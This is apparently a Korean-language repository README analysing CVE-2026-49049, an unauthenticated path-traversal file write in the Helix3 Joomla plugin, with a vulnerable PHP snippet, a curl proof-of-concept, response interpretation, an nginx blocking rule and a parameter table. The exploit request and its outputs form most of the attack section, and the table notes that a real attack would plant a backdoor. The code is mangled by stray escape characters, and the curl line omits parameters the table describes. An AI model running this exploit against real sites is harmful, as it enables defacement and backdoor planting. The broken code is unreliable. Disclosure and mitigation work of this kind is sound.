
CVE-2026-49049에 대한 기술 분석 및 개념 증명(PoC), Joomla용 JoomShaper Helix3의 인증되지 않은 임의 파일 쓰기 취약점, 악용 벡터 및 완화 지침 포함.
이 저장소는 CVE-2026-49049 심각도 취약점에 대한 자료, 기술 분석 및 PoC(Proof of Concept)를 포함하고 있습니다. 이 취약점은 Joomla CMS용 JoomShaper의 구형 템플릿 프레임워크 Helix3(버전 1.0 ~ 3.1.0)에서 발견되었습니다.
이 취약점은 현재 자동화된 봇넷(특히 AntonKill 디페이스 캠페인)에 의해 실제 환경에서 적극적으로 악용되고 있습니다.
문제는 Joomla의 시스템 AJAX 핸들러(com_ajax)가 plg_ajax_helix3 플러그인의 onAjaxHelix3() 메서드를 호출하는 데 있습니다. 구성 요소 개발자는 다음을 고려하지 않았습니다:
layoutName 매개변수 처리 시 경로 필터링 누락 (경로 탐색 검증)public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
취약점 검증을 위해 application/x-www-form-urlencoded 콘텐츠 유형의 POST 요청이 사용됩니다. 이 매개변수 패킹 방식은 취약점을 시연하는 데 가장 효과적입니다.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
침투 테스트 중 서버는 다양한 유형의 응답을 반환할 수 있습니다. 이를 해석하는 것이 매우 중요합니다:
서버 응답:
{"success":true,"message":null,"messages":null,"data":[]}
해석: 플러그인이 취약하며 OS 제한이 없습니다. 파일이 사이트 루트에 성공적으로 생성되었으며 https://target.com에서 접근 가능합니다. 사이트는 즉시 정리 및 격리가 필요합니다.
서버 응답:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
해석: 부분적 성공. Helix3 플러그인의 로직이 손상되었습니다. 인증 없이 데이터를 수락하고 (fopen) 파일을 쓰기 위해 열려고 시도했습니다. 그러나 Linux 운영 체제가 이 작업을 차단했습니다. 웹 서버 사용자(예: www-data)가 사이트 루트에 대한 쓰기 권한이 없기 때문입니다.
서버 응답: 404 Not Found, 403 Forbidden 상태 또는 빈 응답 [].
해석: 플러그인이 인증 확인이 추가된 안전한 버전(3.1.1+)으로 업데이트되었거나 CMS에서 완전히 제거되었습니다.
plg_ajax_helix3 플러그인을 완전히 제거하세요.if ($request_method = POST) { set $test "P"; }
if ($arg_plugin = "helix3") { set $test "${test}H"; }
if ($test = PH) { return 403; }
면책 조항: 이 자료는 오직 교육 목적과 합법적인 시스템 보안 감사(침투 테스트)를 위해 제공됩니다. 저자는 제공된 정보의 부적절한 사용에 대해 책임을 지지 않습니다.
| 매개변수 | 값 / 예시 | 서버에 대한 의미 |
|---|
option | com_ajax | AJAX 요청 처리를 위한 Joomla 진입점. |
plugin | helix3 | Joomla가 취약한 Helix3 플러그인에 제어를 전달하도록 하는 시스템 식별자. |
format | json | 엔진에게 JSON 형식으로 응답을 반환하도록 지시합니다. |
-d | data[...] | 요청 본문(Form Data)으로, PHP에 의해 자동으로 $_POST 전역 배열로 해석됩니다. |
data[action] | save | 코드의 switch 스위치. 플러그인에게 파일 쓰기(생성) 기능을 호출하도록 지시합니다. |
data[layoutName] | ../../../../../../../example | 핵심 공격 벡터 (경로 탐색). ../ 문자는 운영 체제가 플러그인의 격리된 폴더를 벗어나 사이트의 루트 디렉터리로 이동하도록 합니다. 플러그인이 자동으로 .json 확장자를 추가합니다. |
data[content] | {"probe":"test"} | 페이로드(Payload). 생성된 example.json 파일 내부에 물리적으로 기록되는 텍스트 데이터입니다. 실제 공격에서는 디페이스 악성 코드나 백도어가 여기에 삽입됩니다. |